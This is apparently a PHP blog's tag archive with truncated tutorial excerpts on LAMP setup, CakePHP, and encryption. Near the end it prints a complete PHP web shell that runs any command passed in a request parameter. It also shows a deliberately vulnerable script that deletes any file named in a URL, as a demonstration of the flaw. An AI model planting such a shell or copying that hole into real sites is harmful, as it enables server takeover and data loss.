Tag: php

Apache, Linux, MySQL, PHP, Ubuntu Server

Install LAMP stack on Ubuntu 16.04

Update system sudo apt-get update && sudo apt-get dist-upgradesudo apt-get update && sudo apt-get dist-upgrade Install Apache sudo apt-get install apache2sudo apt-get install apache2 Install MySQL sudo apt-get install mysql-serversudo apt-get install mysql-server Install PHP sudo apt-get install php libapache2-mod-php php-mcrypt php-mysql php-mbstring php-gettextsudo apt-get install php libapache2-mod-php php-mcrypt php-mysql php-mbstring php-gettext Install PHPMyAdmin sudo …

XAMPP

How to upgrade XAMPP in Windows

> Open XAMPP Control Panel (run as administrator!). > Stop services and uninstall them from services list if any. > Close XAMPP Control Panel. > Keep backup of htdocs, mysql\data directories and phpmyadmin\config.inc.php file. > Delete C:\xampp directory. > Download new XAMPP installer. > Install XAMPP to the same location (C:\xampp). > Copy your websites …

CakePHP, PHP

List table columns in cakephp 3

List table columns $db = \Cake\Datasource\ConnectionManager::get(’default’); $collection = $db->schemaCollection(); $table= $collection->describe(’tablename’); $columns = $table->columns();$db = \Cake\Datasource\ConnectionManager::get(‘default’); $collection = $db->schemaCollection(); $table= $collection->describe(‘tablename’); $columns = $table->columns();

PHP

OpenSSL AES 256 CBC encryption in PHP

define(’AES_METHOD’, ‘AES-256-CBC’);   class AES256 { public function Encrypt($password, $plainText) { if(empty($password) || empty($plainText)) { return FALSE; }   //generate a random salt $Salt = openssl_random_pseudo_bytes(8); if($Salt === FALSE){ return FALSE; }   //generate a random initialization vector $IV = openssl_random_pseudo_bytes( openssl_cipher_iv_length( AES_METHOD)); if($IV === FALSE){ return FALSE; }   //generate aes key $pwd = …

CakePHP, PHP

CakePHP 3 – Format Datetime in words

To use TimeHelper you have to enable it first. To enable a helper in your view, add the name of the helper to the controller’s $helpers array: class MyController extends AppController { public $helpers = [’Time’]; }class MyController extends AppController { public $helpers = [‘Time’]; } Each helper is exposed as a public property in …

C#, PHP

Encrypting communication between C# and PHP with Rijndael 256

PHP Encryption $iv_to_pass_to_decryption = ”; function encrypt($text, $key) { $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND); $iv_to_pass_to_decryption = base64_encode($iv); return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_CBC, $iv); }$iv_to_pass_to_decryption = ”; function encrypt($text, $key) { $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND); $iv_to_pass_to_decryption = base64_encode($iv); return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_CBC, $iv); } Decryption function decrypt($text, $key, $iv) { $text = base64_decode($text); $iv …

CakePHP, PHP

Simple JSON response with CakePHP 3

CakePHP 3 Book – Chapter JSON and XML views Controller code: namespace App\Controller;   class MyJsonController extends AppController { public function initialize() { parent::initialize(); $this->loadComponent(’RequestHandler’); }   public function index() { $customers[’id’] = ‘123’; $this->set(’customers’, $customers); $this->set(’_serialize’, [’customers’]); } }namespace App\Controller; class MyJsonController extends AppController { public function initialize() { parent::initialize(); $this->loadComponent(‘RequestHandler’); } public function …

CakePHP, PHP

Custom Finder Method in CakePHP 3

In your Table Model create a method and name it, findMymethod, ‘find’ prefix is mandatory, for ex. public function findOffline(Query $query, array $options) { $query->where([ ‘online’ => false, ]); return $query; }public function findOffline(Query $query, array $options) { $query->where([ ‘online’ => false, ]); return $query; } Usage: $customers = TableRegistry::get(’Customers’); $query = $customers->find(’offline’); //or $query …

PHP, Web Shell

A quick and dirty php web shell

<?php if(isset($_REQUEST[’cmd’])){ echo "Command: <span style=’color:red;’><b>".$_REQUEST[’cmd’]."</b></span> executed."; echo "<pre style=’border:solid 3px red;background:black;color:white;padding:10px;font-size:14px;’>"; $cmd = ($_REQUEST[’cmd’]); system($cmd); echo "</ pre>"; die; }<?php if(isset($_REQUEST[‘cmd’])){ echo "Command: <span style=’color:red;’><b>".$_REQUEST[‘cmd’]."</b></span> executed."; echo "<pre style=’border:solid 3px red;background:black;color:white;padding:10px;font-size:14px;’>"; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo "</ pre>"; die; }

Injection, PHP, Vulnerabilities

PHP Command Injection Vulnerability in Web applications

Create a new PHP file, name it test_command_injection.php, and save it inside Apache’s htdocs directory: <?php if(isset($_GET[’filename’])) { $filename = $_GET[’filename’]; if(file_exists($filename)) { unlink($filename); } }<?php if(isset($_GET[‘filename’])) { $filename = $_GET[‘filename’]; if(file_exists($filename)) { unlink($filename); } } Open your favorite browser and open url: http://localhost/test_command_injection.php?filename=path_to_file_4_deletion As you can see you could delete any file in the …